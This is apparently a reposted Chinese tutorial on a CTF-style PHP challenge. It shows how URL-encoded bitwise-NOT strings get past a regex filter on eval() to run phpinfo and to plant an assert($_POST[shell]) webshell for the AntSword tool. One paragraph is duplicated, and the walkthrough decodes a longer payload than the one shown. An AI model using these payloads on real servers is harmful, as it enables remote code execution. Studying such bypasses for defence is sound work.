前言
理解才是最高效的学习方式
这篇文章纯属搬运,自己讲得不会有原主好,这里放上原博主的链接https://blog.csdn.net/qq_45699846
内容
对于以下代码:
<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
如果要绕过正则RCE,我们可以采用url取反绕过,如:
?code=(~%8F%97%8F%96%91%99%90)();
# %8F%97%8F%96%91%99%90 : phpinfo
这里还利用了一点是:对于PHP,形如 (func_name)(),其中func_name可以是字符串,会执行这个func
这里相当于执行了:
phpinfo()
问题1
那么疑问来了,为什么不能直接执行 phpinfo()呢?尝试一下
?code=(~%8F%97%8F%96%91%99%90%D7%D6);
没有任何结果,理一下思路:
eval("(~%8F%97%8F%96%91%99%90%D7%D6);")
# %8F%97%8F%96%91%99%90%D7%D6 : phpinfo()
当 (~%8F%97%8F%96%91%99%90%D7%D6);被当作代码执行时的第一步就是取反操作 ~
但是取反得到的字符串 phpinfo()并不会被当作代码执行,因为在取反之前PHP解释器并不知道这原来是 phpinfo(),把它当成了字符串去处理
问题2
那么想用蚁剑这样的工具的话,需要让其执行我们POST提交的数据,由问题1可以知道,若构造:
?code=(~%DB%A0%AF%B0%AC%AB%A4%8C%97%9A%93%93%A2);
# %DB%A0%AF%B0%AC%AB%A4%8C%97%9A%93%93%A2 : $_POST[shell]
以(func_name)()这样的形式,去执行 ("assert")("$_POST[shell]") 构造payload:
?code=(~%9E%8C%8C%9A%8D%8B)(~%DB%A0%AF%B0%AC%AB%A4%8C%97%9A%93%93%A2);
%9E%8C%8C%9A%8D%8B : assert
%DB%A0%AF%B0%AC%AB%A4%8C%97%9A%93%93%A2 : $_POST[shell]
以(func_name)()这样的形式,去执行 ("assert")("$_POST[shell]") 构造payload:
?code=(~%9E%8C%8C%9A%8D%8B)(~%DB%A0%AF%B0%AC%AB%A4%8C%97%9A%93%93%A2);
# %9E%8C%8C%9A%8D%8B : assert
# %DB%A0%AF%B0%AC%AB%A4%8C%97%9A%93%93%A2 : $_POST[shell]
执行过程:
第一层eval:首先 (~%9E%8C%8C%9A%8D%8B)(~%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%8C%97%9A%93%93%A2%D6); 先会执行取反函数,得到 ("assert")("eval($_POST[shell])")
第二层assert:将字符串 "eval($_POST[shell])" 看作php代码执行
第三层eval:将 $_POST[shell] 传来的数据看作代码执行
执行成功